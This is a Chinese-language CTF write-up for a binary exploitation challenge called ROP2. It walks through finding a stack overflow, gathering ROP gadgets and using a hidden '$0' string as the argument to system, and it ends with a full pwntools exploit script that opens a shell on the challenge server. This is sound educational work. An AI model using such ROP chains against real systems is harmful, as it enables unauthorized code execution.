2026-4-9_0XGAME_ROP2

2026-4-9_0XGAME_ROP2

四月 09, 2026

神奇的$0

题目信息:

ROP2

  • 看来你已经知道怎么控制参数除了sh,在unix/linux中还有一个神奇的参数也能达到rce的效果你能找到它吗?

首先看题

1
2
3
4
5
(base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/13]
└─$ /bin/checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 42 Symbols No 0 2 pwn

通过IDA PRO反汇编 找到main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
; Attributes: bp-based frame

; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc near

buf= byte ptr -30h

; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 30h
mov eax, 0
call init
mov rax, 9173003024h
mov rsi, rax
lea rax, format ; "Before start I can give you my luck_num"...
mov rdi, rax ; format
mov eax, 0
call _printf
lea rax, command ; "echo Start your attack"
mov rdi, rax ; command
call _system
lea rax, [rbp+buf]
mov edx, 100h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
mov eax, 0
leave
retn
; } // starts at 4011EA
main endp

_text ends

重点观察

  • _system
  • _read

其中可以看到明显的栈溢出

sub rsp, 30h 0x30 = 48

mov edx, 100h ; nbytes 0x100 = 256

buf仅有48字节,而 缓冲区有 256字节,因此可以覆盖返回地址

通过偏移计算得出

offset = 48 + 8 = 56

观察 _system

1
2
3
4
5
6
7
; Attributes: thunk

; int system(const char *command)
_system proc near
endbr64
bnd jmp cs:off_404020
_system endp

+通过strings -a pwn | grep "/bin/sh" 没有任何返回,加上题目提示,可以判断该二进制本体中没有明显可直接利用的 /bin/sh 字符串,我们需要利用其他参数来构造rce

这题我没有通过pwngdb去调试,直接通过objdump搜索函数地址

1
2
3
4
5
(base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/13]
└─$ objdump -d pwn | grep system
0000000000401080 <system@plt>:
401084: f2 ff 25 95 2f 00 00 bnd jmp *0x2f95(%rip) # 404020 <system@GLIBC_2.2.5>
40122b: e8 50 fe ff ff call 401080 <system@plt>

首先得到了system的地址

然后已知system第一个参数就是command 我们直接搜索 pop rdi

1
2
3
4
5
6
7
8
(base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/13]
└─$ ROPgadget --binary pwn | grep "pop rdi"
0x0000000000401199 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x0000000000401196 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x000000000040119c : mov ebp, esp ; pop rdi ; ret
0x000000000040119b : mov rbp, rsp ; pop rdi ; ret
0x000000000040119e : pop rdi ; ret
0x000000000040119a : push rbp ; mov rbp, rsp ; pop rdi ; ret

system = 0x401080

为了栈对齐,去搜索ret的地址

1
2
3
(base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/13]
└─$ ROPgadget --binary pwn | grep " : ret$"
0x000000000040101a : ret

ret = 0x40101a

现在缺少一个 sh

mov rax, 9173003024h

以及运行时第一段输出

Before start I can give you my luck_number : 1929392164

这是一个Tips

代码中的立即数是 mov rax, 9173003024h

前三个字节是 0x24 0x30 0x00 -> "$0\x00"

这是其中隐藏的字符串 $0

这也是我们利用的点

在pwndbg中验证

1
2
pwndbg> x/s 0x401202
0x401202 <main+24>: "$0"

至此得出 cmd_addr = 0x401202

我们构建payload的全部因素凑齐了,我们现在什么也不缺了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.binary = './pwn'
context.arch = 'amd64'

# p = process('./pwn')
p = remote("nc1.ctfplus.cn",26523)
# nc nc1.ctfplus.cn 26523
offset = 56
ret = 0x40101a
pop_rdi = 0x40119e
cmd_addr = 0x401202 # "$0"
system = 0x401080

p.recvuntil(b'Start your attack\n')

payload = flat(
b'A' * offset,
ret,
pop_rdi,
cmd_addr,
system
)

p.send(payload)
p.interactive()